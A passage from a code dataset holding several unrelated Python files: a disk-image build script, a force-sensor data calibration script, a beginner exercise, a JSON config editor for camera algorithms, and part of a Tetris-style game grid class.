parentdte):\n self.getfsecs2()\n r = parentdte\n #DTE table\n for di in self.diskitems:\n r.extend(di.getdte())\n r.extend([0] * (self.slen * 512 - len(r)))\n\n #contents\n for di in self.diskitems:\n r.extend(di.getcontents(self.getdte()))\n return r\n\n def getcontents2(self):\n self.getfsecs2()\n #FAT table\n r = self.getfat()\n r.extend([0] * (1536 - len(r)))\n #DTE table\n #data\n r.extend(self.getcontents(self.getdte()))\n return r\n \n\nusedd = False\nusebe = False\n\nprint('Press enter to load default configuration.')\nprint('Type characters for other configurations.')\nprint('d = use disk_data.dasm, b = use big endian.')\nconfig = input('usr>')\nif 'd' in config: usedd = True\nif 'b' in config: usebe = True\n\nif True:\n try:\n entropy = assembler('../src/Kernel/main.dasm', True)\n if not entropy.success:\n print('Entropy main file missing!')\n print('\\n====== BUILD FAILED ======\\n')\n nul = input('Press enter to continue...')\n exit()\n diskdata = assembler('../src/Kernel/disk_data.dasm', True)\n if not diskdata.success:\n print('disk_data.dasm missing, diskdata option unavailable')\n usedd = False\n disklist = entropy.readfile('disklist.txt')\n filedata = []\n if not disklist:\n print('disklist.txt not found, no files were added.')\n\n rs = ((len(entropy.words) - 1) >> 9) + 1\n out = []\n out.append(0xc382) #bootflag\n out.append(0x164a) #filesystem descriptor\n out.extend(entropy.stringtodat('\"EntropyLive\\0\"')) #disk name\n out.append(rs) #reserved sectors\n out.append(1) #number of FAT tables\n out.append(512) #words per sector\n out.append(1440) #number of sectors on disk\n out.append(random.randint(0, 65535))\n out.append(random.randint(0, 65535))\n out.append(random.randint(0, 65535))\n out.append(random.randint(0, 65535)) #random disk ID\n out.extend(entropy.words[16:]) #entropy code\n out.extend([0] * (512 * rs - len(out))) #filler\n if usedd:\n out.extend(diskdata.words)\n elif disklist:\n root = diskdir('')\n for i in disklist:\n if '\"' in i or \"'\" in i:\n args = entropy.stringre.findall(i)\n args = [x[1:-1] for x in args]\n else:\n args = entropy.notwsre.findall(i)\n com = args[0] if len(args) > 0 else ''\n file = args[1] if len(args) > 1 else ''\n path = args[2] if len(args) > 2 else ''\n if com == 'bin':\n file = '../bin/' + file\n tmp = entropy.readbin(file)\n if tmp:\n root.additem(diskfile(stripdir(file), tmp.words), path)\n else:\n print('Failed to access file: ' + i)\n elif com == 'file':\n file = '../src/' + file\n tmp = assembler(file, True)\n if tmp.success:\n root.additem(diskfile(stripdir(file), tmp.words), path)\n elif com == 'dir':\n root.additem(diskdir(file), path)\n else:\n print('Could not interpret disklist entry: ', i)\n out.extend(root.getcontents2())\n if True:\n sl = []\n sl.append((0, 'Entropy'))\n sl.append((rs, 'FAT'))\n sl += [(a + rs + 3, b) for a, b in root.getfslist()]\n sl.append((len(out) // 512, 'empty'))\n for i in range(len(sl) - 1):\n for j in range(sl[i][0], sl[i + 1][0]):\n print('Sector' + format(j, '4') + ' contains: ' + sl[i][1])\n \n if not entropy.writebin('../bin/entropy.img', out, not usebe):\n print('Could not access output file: ../bin/entropy.img')\n print('\\n====== BUILD FAILED ======\\n')\n nul = input('Press enter to continue...')\n else:\n print('\\n====== BUILD SUCCESS ======\\n')\n except:\n print('\\n====== BUILD FAILED ======\\n')\n nul = input('Press enter to continue...')\n raise\n nul = input('Press enter to continue...')\n\n","repo_name":"Lukew4lker/Entropy_Local","sub_path":"build/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":8672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"28148282370","text":"\"\"\" Enter date and this script will, in turn,:\n \n - Open the valid data folders in the raw data directory (in this case,\n valid if containing 'Kg' in folder name\n \n - Find the mass if said folder\n \n - Open and read the calibration index for that mass' set of data \n (c. index per mass)\n \n - Iterate through the valid data files (containing, say '2020' in their\n name (other possibility is opening calibration_index.csv (not wanted)))\n \n - Uses the time in the raw file's name to find the corresponding\n raw-tare files (whole raw filename doesn't work for some reason)'\n \n - Get rid of /directory/ in calibration index's filename because / \n needs to be \\. Also, adds .csv to end\n \n - Since tare file path shares same date and folder name, use same\n one as used for raw to open up tare file\n \n - Calibrate as before,\n \n - In some instances, filter function raises ValueError and KeyError,\n use try, except, else to ignore these cases. Add misbehaving files\n to a list to make note of and *FIX WHEN YOU HAVE MORE TIME*\n \n - Make new dataframe for calibrated values, using raw['time(s)'] to \n inititialise new df\n \n - Save this df as csv ALL IN THE SAME FOLDER (enough info in \n csv file names to ID)\n \"\"\"\n \nimport glob\nimport os\nimport pandas as pd\nimport re\nimport Post_processing_functions as pp\nVE = []\nKE = []\nbadfiles = []\nj = 0\n# # # Make table of masses to actual masses 1kg --> 1.09kg\n\n\n# Find date from folder name in raw data folder\ndate = '26-04-2020'\n\n# OPEN RAW \nraw_loc = r'C:\\Users\\mtirb\\Documents\\MSci-Project\\Data\\Raw Recorded Data'\ndate = date\ntare_loc = r'C:\\Users\\mtirb\\Documents\\MSci-Project\\Data\\Tares'\ncalibrated_folder = r'C:\\Users\\mtirb\\Documents\\MSci-Project\\Data\\Calibrated Data'\n\n\n# find date's data\nfor folder in os.listdir(os.path.join(raw_loc, date)):\n \n # find valid data folders i.e don't open testing\n if \"Kg\" in folder:\n # printing folders here gives 0.5Kg_Steps,...\n\n # determine mass used from folder name\n mass = float(folder.split('Kg')[0])\n \n # open calibration index for \\date\\xKg here\n index_path = os.path.join(raw_loc,date,folder,'Calibration_index.csv')\n index_data = pd.read_csv(index_path, index_col=0, header=None) \n\n \n # All data files in given date folder\n for raw_filename in os.listdir(os.path.join(raw_loc, date, folder)):\n # find valid data files i.e don't open index.csv\n \n if \"2020\" in raw_filename:\n print('folder: ', folder)\n print('raw data file: ', raw_filename)\n # Open raw data file as df\n raw_path = os.path.join(raw_loc,date,folder,raw_filename)\n raw_file = pd.read_csv(raw_path) # df\n\n # Find corresponding tare file here, using calibraion index\n \"\"\" For some reason, str.contains method cannot returns \n Falses when you try and find the whole raw filename\n (minus the .csv) Instead, use time as the unique ID \n (last hh-mm-ss (-12 to -4 chars b/c of .csv)\"\"\"\n \n time = raw_filename[-12:-4] # use unique time to ID file\n\n tare_filename = index_data[index_data.iloc[:,0].str.contains(time,case=False)].iloc[:,1][0]\n \n \"\"\" Note: formatting not consistent. If date = 13-04-2020 then\n do this because tare files in calibration index\n has the format /0.5Kg_Steps/2020-04-13_10-54-39 instead\n of 2020-04-13_10-54-39.csv: \n \n # Note: \n # 1) 1st column raw, 2nd column tare \n # 2) returns tare_filename in the format /0.5Kg_Steps/2020-04-13_10-54-39\n \n # Not ideal because os.join can't join because of / needs to be \\\n # GRRR do manually\n tare_filename = tare_filename[-19:] +'.csv'\n # Now in format: 2020-04-13_10-54-39.csv\"\"\"\n\n\n tare_path = os.path.join(tare_loc,date,folder,tare_filename)\n tare_file = pd.read_csv(tare_path) # df\n \n \n \"\"\"Calibrate\"\"\"\n # (1) Filter \n try: \n filtered_values = pp.filter_values(raw_file)\n except (ValueError):#,KeyError):\n VE.append([folder,raw_filename])\n except (KeyError):\n KE.append([folder,raw_filename])\n else:\n # (2) Calibrate\n calibrated_forces = pp.post_calibrate_values(filtered_values, tare_file)\n calibratedLC1 = calibrated_forces[0]\n calibratedLC2 = calibrated_forces[1]\n calibratedLC3 = calibrated_forces[2]\n calibratedLC4 = calibrated_forces[3]\n \n \n # (3) Group forces\n total_forces, left_forces, right_forces, back_forces, front_forces = pp.group_forces(calibrated_forces)\n \n # (4) Calibrate timings\n raw_file['Time'] = pp.calibrate_timings(raw_file)\n \n # (5) Make new calibrated df with time column from raw df\n calibrated_data = raw_file[['Time']].copy()\n \n # (6) Add helpful columns of data\n calibrated_data['Total_Forces'] = total_forces\n calibrated_data['Left_Forces'] = left_forces\n calibrated_data['Right_Forces'] = right_forces\n calibrated_data['Back_Forces'] = back_forces\n calibrated_data['Front_Forces'] = front_forces\n calibrated_data['Total_Mass'] = total_forces/9.81\n\n calibrated_data['LC1'] = calibratedLC1\n calibrated_data['LC2'] = calibratedLC2\n calibrated_data['LC3'] = calibratedLC3\n calibrated_data['LC4'] = calibratedLC4\n \n # (7) Save df as csv\n calibrated_filename = '{}kg_({})_{}.csv'.format(mass, date, time)\n calibrated_path = os.path.join(calibrated_folder, calibrated_filename)\n calibrated_data.to_csv(calibrated_path)\n \nprint(len(VE), len(KE))\n\n# Problem with filter function on some data ---> try to debug (see try, except)\n# In the meanwhile, append troublesome files to VE, KE (Value/KeyError) \n#print(len(VE))\n# print(len(KE))\n\n# KE\n# VE\n\n# calibrated_data.Total_Forces.round(3).mode()\n\n# calibrated_data.Total_Forces.plot.hist()\n \n#calibrated_data.plot(x='Time', y='Total_Forces') \n\n# calibrated_data.Total_Forces.round(2).value_counts() \n\n#calibrated_data.Total_Forces[calibrated_data.Total_Forces>12].dropna()\n","repo_name":"mtirbhowan/MSci-Project","sub_path":"Data_Analysis/Calibrate_data.py","file_name":"Calibrate_data.py","file_ext":"py","file_size_in_byte":7151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"73091207209","text":"soma_idade = 0\nmaior_idade = -1\nh_m_velho = ''\nmulh_menr_20 = 0\nfor i in range(0,4):\n nomes = str(input('Digite o nome da {}ª pessoa: '.format(i+1)))\n idades = int(input('Digite a idade da {}ª pessoa: '.format(i+1)))\n sexo = int(input('''selecione o sexo da {}ª pessoa:\n1 - Homem\n2 - Mulher\n'''.format(i+1)))\n if sexo == 1 and idades > maior_idade:\n maior_idade = idades\n h_m_velho = nomes\n elif sexo == 2:\n if idades > 20:\n mulh_menr_20 = mulh_menr_20 + 1\n soma_idade = soma_idade + idades\nprint('a média de idadades é de {} ano(s)'.format(soma_idade/4))\nprint('O homem mais velho é o {} com {} anos'.format(h_m_velho, maior_idade))\nprint('Há {} mulher(es) com mais de 20 anos'.format(mulh_menr_20))","repo_name":"HLAvieira/Curso-em-Video-Python3","sub_path":"Pacote-download/aulas_python_cev/ex_56_.py","file_name":"ex_56_.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"73173564968","text":"import json\nimport glom\nimport os\n\ndef add_in_list(path_to_list, iterate_over, complete_json, to_append):\n to_be_iterate = []\n secondary_path = \"\"\n primary_path = \"\"\n for i in range(0,len(path_to_list)):\n\n if iterate_over >= i:\n to_be_iterate = complete_json[path_to_list[i]]\n if primary_path == \"\":\n primary_path += path_to_list[i]\n\n else:\n primary_path += \".\" + primary_path\n\n else:\n if secondary_path == \"\":\n secondary_path += path_to_list[i]\n\n else:\n secondary_path += \".\" + secondary_path\n\n temp_list = [] \n\n for i in range(0,len(to_be_iterate)):\n final_list = glom.glom(to_be_iterate[i], secondary_path)\n final_list.append(to_append)\n glom.assign(to_be_iterate[i], secondary_path, final_list)\n \n glom.assign(complete_json, primary_path, to_be_iterate) \n return complete_json \n\ndef replace_in_algo(algo_type, field_to_replace, replace_with,complete_json):\n all_cameras = complete_json[\"cameras\"]\n \n for i in range(0, len(all_cameras)):\n algos = all_cameras[i][\"algorithms\"]\n\n for j in range(0,len(algos)): \n if algos[j][\"algo\"] == algo_type:\n algos[j][field_to_replace] = replace_with\n\n all_cameras[i][\"algorithms\"] = algos\n\n complete_json[\"cameras\"] = all_cameras\n\n return complete_json\n\ndef add_in_list2(path_to_list, iterate_over, complete_json, to_append):\n to_be_iterate = []\n secondary_path = \"\"\n primary_path = \"\"\n for i in range(0,len(path_to_list)):\n\n if iterate_over >= i:\n to_be_iterate = complete_json[path_to_list[i]]\n if primary_path == \"\":\n primary_path += path_to_list[i]\n\n else:\n primary_path += \".\" + primary_path\n\n else:\n if secondary_path == \"\":\n secondary_path += path_to_list[i]\n\n else:\n secondary_path += \".\" + secondary_path\n\n temp_list = [] \n\n for i in range(0,len(to_be_iterate)):\n final_list = glom.glom(to_be_iterate[i], secondary_path)\n final_list.append(to_append)\n\n glom.assign(to_be_iterate[i], secondary_path, final_list)\n \n glom.assign(complete_json, primary_path, to_be_iterate) \n return complete_json\n \ndef add_queue_algo(complete_json):\n all_cams = complete_json[\"cameras\"]\n all_queue = []\n sample_algo = {\n \"algo\": \"QUEING\",\n \"threshold_time\": 20,\n \"roi_conf\": [\n {\n \"ROI\": [\n {\n \"x\": 0.606,\n \"y\": 0.275\n },\n {\n \"x\": 0.791,\n \"y\": 0.537\n },\n {\n \"x\": 0.006,\n \"y\": 0.798\n },\n {\n \"x\": 0.003,\n \"y\": 0.454\n }\n ],\n \"unique_roi_id\": \"DU4\"\n }\n ]\n }\n for i in range(0,len(all_cams)):\n sample_algo = {\n \"algo\": \"QUEING\",\n \"threshold_time\": 20,\n \"roi_conf\": []\n }\n for j in range(0, len(all_cams[i][\"algorithms\"])):\n\n if all_cams[i][\"algorithms\"][j][\"algo\"] == \"FUELLING\":\n\n for k in range(0,len(all_cams[i][\"algorithms\"][j][\"roi_conf\"])):\n queue_roi = all_cams[i][\"algorithms\"][j][\"roi_conf\"][k][\"roi_FSM\"]\n du_name = all_cams[i][\"algorithms\"][j][\"roi_conf\"][k][\"unique_roi_id\"]\n\n sample_algo[\"roi_conf\"].append({\"ROI\": queue_roi, \"unique_roi_id\": du_name})\n \n all_cams[i][\"algorithms\"].append(sample_algo)\n\n complete_json[\"cameras\"] = all_cams\n return complete_json\n\ndef add_uniform_algo(complete_json):\n all_cams = complete_json[\"cameras\"]\n all_queue = []\n sample_algo = {\n \"algo\": \"UNIFORM_CHECK\",\n \"roiconfig\": [\n {\n \"frame_count_threshold_for_violation\": 20,\n \"unique_roi_id\": \"DU15\",\n \"roi\": [\n { \"x\": 0.612, \"y\": 0.364 },\n { \"x\": 0.854, \"y\": 0.386 },\n { \"x\": 0.926, \"y\": 0.652 },\n { \"x\": 0.633, \"y\": 0.620 }\n ]\n }\n ]\n }\n for i in range(0,len(all_cams)):\n sample_algo = {\n \"algo\": \"UNIFORM_CHECK\",\n \"roiconfig\": []\n }\n for j in range(0, len(all_cams[i][\"algorithms\"])):\n\n if all_cams[i][\"algorithms\"][j][\"algo\"] == \"FUELLING\":\n\n for k in range(0,len(all_cams[i][\"algorithms\"][j][\"roi_conf\"])):\n queue_roi = all_cams[i][\"algorithms\"][j][\"roi_conf\"][k][\"roi_FSM\"]\n du_name = all_cams[i][\"algorithms\"][j][\"roi_conf\"][k][\"unique_roi_id\"]\n\n sample_algo[\"roiconfig\"].append({\"frame_count_threshold_for_violation\": 30,\"unique_roi_id\": du_name,\"roi\": queue_roi})\n \n all_cams[i][\"algorithms\"].append(sample_algo)\n\n complete_json[\"cameras\"] = all_cams\n print(queue_roi)\n return complete_json\n\ndef roi_extract_algo(complete_json):\n all_cams = complete_json[\"cameras\"]\n print(len(all_cams))\n all_queue = []\n for i in range(0,len(all_cams)):\n for j in range(0, len(all_cams[i][\"algorithms\"])):\n if all_cams[i][\"algorithms\"][j][\"algo\"] == \"SPILLAGE\":\n for k in range(0,len(all_cams[i][\"algorithms\"][j][\"roi_conf\"])):\n queue_roi = all_cams[i][\"algorithms\"][j][\"roi_conf\"][k]\n du_name = all_cams[i][\"algorithms\"][j][\"roi_conf\"][k][\"unique_roi_id\"]\n print(queue_roi)\n print(\"ROI ID:\", du_name)\n\n \n\n # complete_json[\"cameras\"] = all_cams\n \n # return complete_json\n\nif __name__ == \"__main__\":\n\n all_files = os.listdir('/home/ninad/Music/roi_crop_common/cfgs')\n print(all_files)\n\n for k in range(0, len(all_files)):\n if all_files[k] == \"changed_cfg\" or all_files[k] == \"modify_cfg.py\" or all_files[k] == \"Violations.xlsx\":\n continue\n with open(all_files[k], 'r') as openfile:\n current_file = json.load(openfile)\n\n #print(current_file)\n '''\n a = {\n \"algo\":\"SOCIAL_DISTANCING\",\n \"calib_info\": {\n \"h_ratio\":0.9,\n \"v_ratio\":0.65,\n \"calibration\":0.3\n },\n \"alarm_cooldown_period\":1000,\n \"sd_frames\":3,\n \"sd_ratio\":1,\n \"skip_frames\":1,\n \"bg_sub\":False,\n \"bg_sub_period\":2000,\n \"_BG_SUB_THRESHOLD_COMMENT\":\"bg_sub_threshold between 0 - 100%\",\n \"bg_sub_threshold\":5,\n \"critical_alarm\":False,\n \"_SD_CRITICAL_COMMENT_\":\"Set only if critical_alarm is true\",\n \"critical_threshold\":500\n }\n\n b = {\n \"algo\":\"MASK_COMPLIANCE\",\n \"start_score\":2,\n \"face_score\":5,\n \"mask_score\":6,\n \"alarm_cooldown_period\":3000,\n \"delete_threshold\":100,\n \"solo_exemption\":False\n }\n '''\n try:\n # to_be_written = add_in_list([\"cameras\",\"algorithms\"],0,current_file, a)\n # to_be_written = add_in_list([\"cameras\",\"algorithms\"],0,to_be_written, b)\n # to_be_written = replace_in_algo(\"DECANTATION\", \"ROI_PERSON\", [{ \"x\": 0.1, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.98 },{ \"x\": 0.1, \"y\": 0.98 }],to_be_written)\n # to_be_written = replace_in_algo(\"DECANTATION\", \"ROI_FIRE_EXTINGUISHER\", [{ \"x\": 0.1, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.98 },{ \"x\": 0.1, \"y\": 0.98 }],to_be_written)\n # to_be_written = replace_in_algo(\"DECANTATION\", \"ROI_BARICADING\", [{ \"x\": 0.1, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.98 },{ \"x\": 0.1, \"y\": 0.98 }],to_be_written)\n # to_be_written = replace_in_algo(\"DECANTATION\", \"ROI_TRUCK\", [{ \"x\": 0.1, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.98 },{ \"x\": 0.1, \"y\": 0.98 }],to_be_written)\n # to_be_written = replace_in_algo(\"SOCIAL_DISTANCING\", \"alarm_cooldown_period\", 30000, current_file)\n # to_be_written = replace_in_algo(\"UNIFORM_CHECK\", \"roiconfig.frame_count_threshold_for_violation\", 40, current_file)\n # to_be_written = add_queue_algo(current_file)\n to_be_written = roi_extract_algo(current_file)\n # json_to_be_written = json.dumps(to_be_written, indent = 4)\n\n # with open(\"./changed_cfg/\" + all_files[k], \"w\") as outfile:\n # outfile.write(json_to_be_written)\n except Exception as e:\n print(e)\n print(all_files[k])\n\n ","repo_name":"FalconMadhab/useful_scripts","sub_path":"modify_cfg.py","file_name":"modify_cfg.py","file_ext":"py","file_size_in_byte":9844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"19892470574","text":"import lib.stddraw as stddraw # stddraw is used as a basic graphics library\nfrom lib.color import Color # used for coloring the game grid\nfrom point import Point # used for tile positions\nimport numpy as np # fundamental Python module for scientific computing\nimport os\nfrom tetromino import Tetromino\nfrom lib.picture import Picture\nimport copy\nimport time\nfrom SoundCaller import SoundCaller\n# Class used for modelling the game grid\nclass GameGrid:\n\t# Constructor for creating the game grid based on the given arguments\n def __init__(self, grid_h, grid_w):\n # set the dimensions of the game grid as the given arguments\n self.grid_height = grid_h\n self.grid_width = grid_w\n # create a tile matrix to store the tiles landed onto the game grid\n self.tile_matrix = np.full((grid_h, grid_w), None)\n # create the tetromino that is currently being moved on the game grid\n self.current_tetromino = None\n #self.next_tetromino = None#\n self.next_tetrominos = []\n # the game_over flag shows whether the game is over or not\n self.game_over = False\n # set the color used for the empty grid cells\n self.empty_cell_color = Color(154,146,145)#Color(206,195,181)#rgba(206,195,181,255)#Color(42, 69, 99)\n # set the colors used for the grid lines and the grid boundaries\n self.line_color = Color(132,122,113)#Color(188,175,162)#Color(0, 100, 200)\n self.boundary_color = Color(132,122,113)#rgba(188,175,162,255)#Color(0, 100, 200)\n # thickness values used for the grid lines and the boundaries\n self.line_thickness = 0.002#2\n self.box_thickness = 40 * self.line_thickness\n # self.mainboundary_color = Color(132,122,113)\n\n self.score = 0\n self.time = 0\n # Method used for displaying the game grid\n def display(self):\n # clear the background to empty_cell_color\n stddraw.clear(self.empty_cell_color)\n # draw the game grid\n self.draw_grid()\n self.ShowFallLocation()\n # draw the current/active tetromino if it is not None (the case when the \n # game grid is updated)\n if self.current_tetromino is not None:\n self.current_tetromino.draw()\n # draw a box around the game grid\n self.draw_boundaries()\n # show the resulting drawing with a pause duration = 250 ms\n self.ShowNextTetromino()\n #self.ShowFallLocation()\n self.ShowScore()\n self.ShowTime()\n stddraw.show(250)#250\n \n # Method for drawing the cells and the lines of the game grid\n def draw_grid(self):\n # for each cell of the game grid\n for row in range(self.grid_height):\n for col in range(self.grid_width):\n # draw the tile if the grid cell is occupied by a tile\n if self.tile_matrix[row][col] is not None:\n self.tile_matrix[row][col].draw(Point(col, row))\n # draw the inner lines of the grid\n stddraw.setPenColor(self.line_color)\n stddraw.setPenRadius(self.line_thickness)\n # x and y ranges for the game grid\n start_x, end_x = -0.5, self.grid_width - 0.5\n start_y, end_y = -0.5, self.grid_height - 0.5\n for x in np.arange(start_x + 1, end_x, 1): # vertical inner lines\n stddraw.line(x, start_y, x, end_y)\n for y in np.arange(start_y + 1, end_y, 1): # horizontal inner lines\n stddraw.line(start_x, y, end_x, y)\n stddraw.setPenRadius() # reset the pen radius to its default value \n \n # Method for drawing the boundaries around the game grid \n def draw_boundaries(self):\n # draw a bounding box around the game grid as a rectangle\n stddraw.setPenColor(self.boundary_color) # using boundary_color\n # set the pen radius as box_thickness (half of this thickness is visible\n # for the bounding box as its lines lie on the boundaries of the canvas)\n stddraw.setPenRadius(self.box_thickness/10)\n # the coordinates of the bottom left corner of the game grid\n pos_x, pos_y = -0.5, -0.5\n stddraw.rectangle(pos_x, pos_y, self.grid_width, self.grid_height)\n stddraw.rectangle(9.4,-0.5, self.grid_width / 2 - 0.9, self.grid_height)#-0.5,-0.2\n #stddraw.rectangle(9.8, 17.4, self.grid_width / 2 - 1.7, self.grid_height / 11)# stddraw.rectangle(9.4, 17.5, self.grid_width / 2 - 0.9, self.grid_height / 9)\n #stddraw.rectangle(9.4, -2, self.grid_width / 2 - 0.9, self.grid_height / 1.3)\n #stddraw.line(9.4,-0.3, self.grid_width / 2, 0.1)\n stddraw.setPenRadius() # reset the pen radius to its default value\n\n # Method used for checking whether the grid cell with given row and column \n # indexes is occupied by a tile or empty\n def is_occupied(self, row, col):\n # considering newly entered tetrominoes to the game grid that may have \n # tiles with position.y >= grid_height\n if not self.is_inside(row, col):\n return False\n # the cell is occupied by a tile if it is not None\n return self.tile_matrix[row][col] is not None\n \n # Method used for checking whether the cell with given row and column indexes \n # is inside the game grid or not\n def is_inside(self, row, col):\n if row < 0 or row >= self.grid_height:\n return False\n if col < 0 or col >= self.grid_width:\n return False\n return True\n def is_inside_horizontal(self, col):\n if col < 0 or col >= self.grid_width:\n return False\n return True\n def is_inside_vertical(self, row):\n if row < 0 or row >= self.grid_height:\n return False\n return True\n # Method that locks the tiles of the landed tetromino on the game grid while\n # checking if the game is over due to having tiles above the topmost grid row.\n # The method returns True when the game is over and False otherwise.\n def update_grid(self, tiles_to_lock, blc_position):\n # necessary for the display method to stop displaying the tetromino\n self.current_tetromino = None\n # lock the tiles of the current tetromino (tiles_to_lock) on the game grid \n n_rows, n_cols = len(tiles_to_lock), len(tiles_to_lock[0])\n for col in range(n_cols):\n for row in range(n_rows): \n # place each tile onto the game grid\n if tiles_to_lock[row][col] is not None:\n # compute the position of the tile on the game grid\n pos = Point()\n pos.x = blc_position.x + col\n pos.y = blc_position.y + (n_rows - 1) - row\n if self.is_inside(pos.y, pos.x):\n self.tile_matrix[pos.y][pos.x] = tiles_to_lock[row][col]\n # the game is over if any placed tile is above the game grid\n else:\n self.game_over = True\n # return the game_over flag\n #print(self.tile_matrix.__str__())\n return self.game_over\n\n # Clears the filled rows if there is a row that all of it's columns are filled\n def ClearHorizontal(self):\n #will_cleared_horizontal = self.CheckHorizontal()\n will_cleared_horizontal_rows = self.CheckHorizontal()\n #print(will_cleared_horizontal)\n n_cols = len(self.tile_matrix[0])\n if(len(will_cleared_horizontal_rows) != 0):\n for row in will_cleared_horizontal_rows:\n for col in range(n_cols):\n self.score = self.score + self.tile_matrix[row][col].number\n self.tile_matrix[row][col]=None\n SoundCaller('sounds/clear.wav')\n #self.FallTilesInAir()\n else:\n pass\n\n # Checks if there is any row that all of it's columns are filled\n def CheckHorizontal(self):\n n_rows, n_cols = len(self.tile_matrix), len(self.tile_matrix[0])\n rows_will_cleared = []\n for row in range(n_rows):\n horizontal_count = 0\n for col in range(n_cols):\n if (self.tile_matrix[row][col] != None):\n horizontal_count = horizontal_count + 1\n else:\n break\n\n if(horizontal_count == n_cols):\n rows_will_cleared.append(row)\n return rows_will_cleared\n\n # Test method\n def FallTilesInAir(self):\n self.ClearHorizontal()\n pass\n\n # Merges the up to down connected same numbered tiles\n def MergeTiles(self):\n n_rows, n_cols = len(self.tile_matrix), len(self.tile_matrix[0])\n row = 0\n col = 0\n while row < n_rows:\n while col < n_cols:\n current_tile = self.tile_matrix[row][col]\n if current_tile is not None and row + 1 < n_rows:#row + 1 >= 0:\n upper_tile = self.tile_matrix[row+1][col]\n if upper_tile is not None:\n if current_tile.number == upper_tile.number:# merge\n #current_tile.number = current_tile.number * 2\n current_tile.DoubleNumber()\n self.tile_matrix[row+1][col] = None\n row = 0\n col = 0\n self.score = self.score + current_tile.number\n continue\n col = col + 1\n row = row + 1\n col = 0\n\n # Checks if there are some tiles that it doesn't has any neighbour\n def CheckIsolateds(self):\n n_rows, n_cols = len(self.tile_matrix), len(self.tile_matrix[0])\n row = 0\n col = 0\n while row < n_rows:\n while col < n_cols:\n current_tile = self.tile_matrix[row][col]\n if current_tile is not None:\n if(row==0):\n col = col + 1\n continue\n elif(row + 1 < n_rows and self.tile_matrix[row + 1][col] is not None):#upper neighbour\n col = col + 1\n continue\n elif(col + 1 < n_cols and self.tile_matrix[row][col+1] is not None): #right neighbour\n col = col + 1\n continue\n elif(row -1 >= 0 and self.tile_matrix[row - 1][col] is not None): #bottom neighbour\n col = col + 1\n continue\n elif(col - 1 >=0 and self.tile_matrix[row][col-1] is not None): # left neighbour\n col = col + 1\n continue\n else: #It is a isolated tile\n newrow = row\n newrow = newrow -1\n next_location = self.tile_matrix[newrow][col]\n while next_location == None and newrow - 1 >= 0:\n if (newrow == 0):\n break\n if (newrow + 1 < n_rows and self.tile_matrix[newrow + 1][col] is not None): # upper neighbour\n break\n elif (col + 1 < n_cols and self.tile_matrix[newrow][col + 1] is not None): # right neighbour\n break\n elif (newrow - 1 >= 0 and self.tile_matrix[newrow - 1][col] is not None): # bottom neighbour\n break\n elif (col - 1 >= 0 and self.tile_matrix[newrow][col - 1] is not None): # left neighbour\n break\n newrow = newrow - 1\n self.tile_matrix[newrow][col] = current_tile\n self.tile_matrix[row][col] = None\n row = 0\n col = 0\n col = col + 1\n row = row + 1\n col = 0\n\n # Shows next three tetrominos in the game screen\n def ShowNextTetromino(self):\n currentheight = self.grid_height - 4#2\n stddraw.setFontSize(30)\n stddraw.setPenColor(Color(0, 100, 200))\n #stddraw.boldText(self.grid_width * 1.1, currentheight, f\" Next\")\n stddraw.picture(Picture(os.path.dirname(os.path.realpath(__file__)) + \"/images/nexttext.png\"),self.grid_width * 1.14, currentheight-0.2)\n for i in range(0,len(self.next_tetrominos)):\n copy_next_tetromino = copy.deepcopy(self.next_tetrominos[i])\n copy_next_tetromino.bottom_left_cell.x = (self.grid_width - 1) / 0.85\n currentheight = currentheight - 4.5# 4.5\n copy_next_tetromino.bottom_left_cell.y = currentheight\n copy_next_tetromino.draw()\n copy_next_tetromino = None\n # copy_next_tetromino = copy.deepcopy(self.next_tetromino)\n # copy_next_tetromino.bottom_left_cell.x = (self.grid_width - 1) / 0.85\n # copy_next_tetromino.bottom_left_cell.y = self.grid_height - 7\n # copy_next_tetromino.draw()\n # copy_next_tetromino=None\n\n # Drops the current tetromino immediately to bottom possible location\n def DropCurrentTetromino(self):\n while self.current_tetromino.can_be_moved(\"down\",self):\n self.current_tetromino.bottom_left_cell.y -= 1\n\n # Shows the fall location of current tetromino\n def ShowFallLocation(self):\n copy_current_tetromino = copy.deepcopy(self.current_tetromino)\n copy_current_tetromino.MakeTetrominoTransparent()\n while copy_current_tetromino.can_be_moved(\"down\",self):\n copy_current_tetromino.bottom_left_cell.y -= 1\n #print(copy_current_tetromino.bottom_left_cell.y)\n copy_current_tetromino.draw()\n copy_current_tetromino=None\n #print(\"SHOWING\")\n\n # Calculates elapsed time\n def CalculateTime(self,startingtime):\n self.time = time.time() - startingtime\n\n # Shows the current score in the game\n def ShowScore(self):\n stddraw.setFontSize(26)\n # stddraw.setPenColor(\"Red\")\n #stddraw.boldText(self.grid_width * 1.1 - 0.1, self.grid_height / 1.1 + 0.6, f\"Score:\")# {self.score} # stddraw.boldText(self.grid_width * 1.1 - 0.1, self.grid_height / 1.1 + 0.8, f\"Score:\")# {self.score}\n stddraw.picture(Picture(os.path.dirname(os.path.realpath(__file__)) + \"/images/scoretext.png\"), self.grid_width * 1.1 - 0.1, self.grid_height / 1.1 + 0.6)\n stddraw.boldText(self.grid_width * 1.1 + 1.6, self.grid_height / 1.1 + 0.6, f\"{self.score}\") # {self.score}\n stddraw.boldText(self.grid_width * 1.1 + 0.9, self.grid_height / 1.1 + 0.6, \":\") # {self.score}\n\n # Shows the current time in the game\n def ShowTime(self):\n stddraw.setFontSize(26)\n #stddraw.boldText(self.grid_width * 1.1 - 0.20, self.grid_height / 1.1 -0.3, f\"Time:\")#f\" Time: {int(self.time)}\") #stddraw.boldText(self.grid_width * 1.1 - 0.20, self.grid_height / 1.1 -0.1, f\"Time:\")\n stddraw.picture(Picture(os.path.dirname(os.path.realpath(__file__)) + 